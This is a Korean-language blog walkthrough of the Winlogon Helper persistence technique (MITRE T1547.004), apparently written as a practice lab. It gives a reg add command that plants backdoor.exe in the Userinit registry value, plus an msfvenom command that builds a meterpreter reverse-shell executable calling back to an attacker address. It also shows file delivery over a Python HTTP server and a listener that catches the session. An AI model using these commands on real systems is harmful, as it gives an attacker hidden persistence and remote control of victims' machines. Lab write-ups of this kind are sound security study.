T1547.004 WinLogon Helper

 

Description

공격자는 사용자가 로그인할 DLL /또는 실행 파일을 실행하기 위해 Winlogon 기능을 남용할 있습니다.

Winlogon.exe 로그온/로그오프 작업과 Ctrl-Alt-Delete 의해 트리거되는 보안 주의 시퀀스(SAS) 담당하는 Windows 구성 요소입니다.

HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\  레지스트리 항목은 

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Winlogon 지원하는

추가 도우미 프로그램 기능을 관리하는 사용됩니다

 

 Test

 -환경 : Windows 10 admin privilege cmd

 

 

(1) 원본 레지스트리 값 (REG_SZ)

 

(2) 레지스트리 값 변경


(3) 실행확인(로그오프 후 재로그인)

 

공격 실습.

※주의

이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.

악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.

 

+ 실습 시 해당 레지스트리 값에서 userinit.exe와 explorer.exe의 값은 절대 유지하시길 바라며

두번째 인자로 오는 악성 프로그램도 무한루프에 빠지는 등의 기능이 존재하지 않아야 합니다.

이 레지스트리의 값을 잘못 변경하면 드라이브를 포맷해야할 수 있습니다.(가상환경에서만 추천드림)

 

 

 

환경

 

 

(1) 레지스트리 값 변경

 - Shell과 Userinit에서 악용할 수 있는데, Userinit으로 실습할 예정.

 

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\temp\backdoor.exe" /f

 - 잘 변경되었다.

 

 

(2) MSFVENOM을 사용하여 64bit 리버스 쉘 exe파일 생성.

info 

 LHOST : 192.168.75.128

 LPORT : 9500

 RHOST : 172.25.177.49

 

  • sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=9500 -f exe > backdoor.exe 

 

 

(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.

  • python -m SimpleHTTPServer

 

 

(4) 1번에서 지정한 Userinit의 레지스트리의 값으로 이동

 

 

(5) 공격자의 시스템에서 reverse handler 시작.

 - Payload : windows/x64/meterpreter/reverse_tcp

 - LHOST : 192.168.75.128

 - LPORT : 9500

 

 

(6) 피해자 환경 로그아웃 후 재로그인

 

 

(7) 세션이 생성된 핸들러 확인.

 - 사용자를 로그아웃하고 재로그인하거나, 재부팅 시 레지스트리의 값이 작동하는 모습이다.

 

 

참고문헌 : https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/

+ Recent posts